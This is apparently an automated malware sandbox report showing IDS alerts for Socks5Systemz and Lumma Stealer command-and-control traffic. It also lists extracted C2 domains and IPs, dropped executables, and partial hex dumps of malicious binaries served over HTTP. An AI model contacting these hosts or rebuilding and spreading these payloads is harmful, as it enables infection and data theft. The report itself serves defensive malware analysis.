Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49814 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49811 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49772 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49810 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49793 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49794 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49813 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49770 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49802 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49792 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49775 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49797 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49795 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49773 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49806 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49807 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49779 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49801 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49803 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.9:49782 -> 185.208.158.248:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49725 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49725 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49726 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49726 -> 188.114.96.3:443

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7600, type: MEMORYSTR

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: ejrsoyz.ua8a
Source: Malware configuration extractor	URLs: 01fivevh5pt.top
Source: Malware configuration extractor	URLs: analforeverlovyu.top
Source: Malware configuration extractor	URLs: fivevh5pt.top
Source: Malware configuration extractor	URLs: +fivevh5pt.top

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: VUi4VlAeU5mHTySwb10PMAu9.exe.3.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: PXmC5_sqNQv8jWyecSd7ycvv.exe.3.dr

Source: global traffic

TCP traffic: 192.168.2.9:49750 -> 89.105.201.183:2023

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 22:53:22 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sat, 28 Sep 2024 17:54:38 GMTETag: "982000-62331aa50f9f7"Accept-Ranges: bytesContent-Length: 9969664Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 7e d8 f7 66 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 2b 00 00 1c 98 00 00 0c 00 00 a0 14 00 00 00 10 00 00 00 10 2c 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 98 00 00 04 00 00 1c a9 98 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 94 00 42 00 00 00 00 10 94 00 98 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 94 00 88 3b 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 ad 93 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 12 94 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 fa 2b 00 00 10 00 00 00 fc 2b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 c4 0f 67 00 00 10 2c 00 00 10 67 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 54 9e 00 00 00 20 93 00 00 a0 00 00 00 10 93 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d d8 21 00 00 00 c0 93 00 00 22 00 00 00 b0 93 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 74 0b 00 00 00 f0 93 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 65 64 61 74 61 00 00 42 00 00 00 00 00 94 00 00 02 00 00 00 d2 93 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 98 0a 00 00 00 10 94 00 00 0c 00 00 00 d4 93 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 30 00 00 00 00 20 94 00 00 02 00 00 00 e0 93 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 30 94 00 00 02 00 00 00 e2 93 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 88 3b 04 00 00 40 94 00 00 3c 04 00 00 e4 93 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 22:53:22 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="univ.exe";Content-Length: 331776Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 73 ac 3c b2 12 c2 6f b2 12 c2 6f b2 12 c2 6f dd 64 69 6f a6 12 c2 6f dd 64 5c 6f 92 12 c2 6f dd 64 68 6f ef 12 c2 6f bb 6a 51 6f b9 12 c2 6f b2 12 c3 6f 34 12 c2 6f dd 64 6d 6f b3 12 c2 6f dd 64 58 6f b3 12 c2 6f dd 64 5f 6f b3 12 c2 6f 52 69 63 68 b2 12 c2 6f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 bb 8f 1d 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 ae 03 00 00 74 04 00 00 00 00 00 5d 16 03 00 00 10 00 00 00 c0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 08 00 00 04 00 00 cb be 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c b1 03 00 78 00 00 00 00 20 07 00 98 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 b1 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 02 00 18 00 00 00 b8 fe 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 ad 03 00 00 10 00 00 00 ae 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 28 5d 03 00 00 c0 03 00 00 5c 00 00 00 b2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 00 01 00 00 20 07 00 00 02 01 00 00 0e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 22:53:22 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sat, 28 Sep 2024 18:18:14 GMTETag: "5d8600-62331fec2a069"Accept-Ranges: bytesContent-Length: 6129152Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 9a 5c 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 8c 29 00 00 b4 04 00 00 00 00 00 a0 29 07 00 00 10 00 00 00 d0 56 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 60 00 00 04 00 00 9d 3b 5e 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 5d 00 4c 04 00 00 00 b0 5f 00 f4 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5d 00 10 17 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 d8 56 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 8a 29 00 00 10 00 00 00 8c 29 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d8 20 2d 00 00 a0 29 00 00 22 2d 00 00 90 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 91 06 00 00 d0 56 00 00 ca 03 00 00 b2 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 4c 04 00 00 00 70 5d 00 00 06 00 00 00 7c 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 10 17 02 00 00 80 5d 00 00 18 02 00 00 82 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 73 79 6d 74 61 62 00 04 00 00 00 00 a0 5f 00 00 02 00 00 00 9a 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 2e 72 73 72 63 00 00 00 f4 e8 00 00 00 b0 5f 00 00 ea 00 00 00 9c 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Sat, 28 Sep 2024 22:53:22 GMTContent-Type: application/octet-streamContent-Length: 3128802Connection: keep-aliveX-Powered-By: PHP/7.4.33Content-Description: File TransferContent-Disposition: attachment; filename=stories.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 88 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 22:54:17 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 22:54:18 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 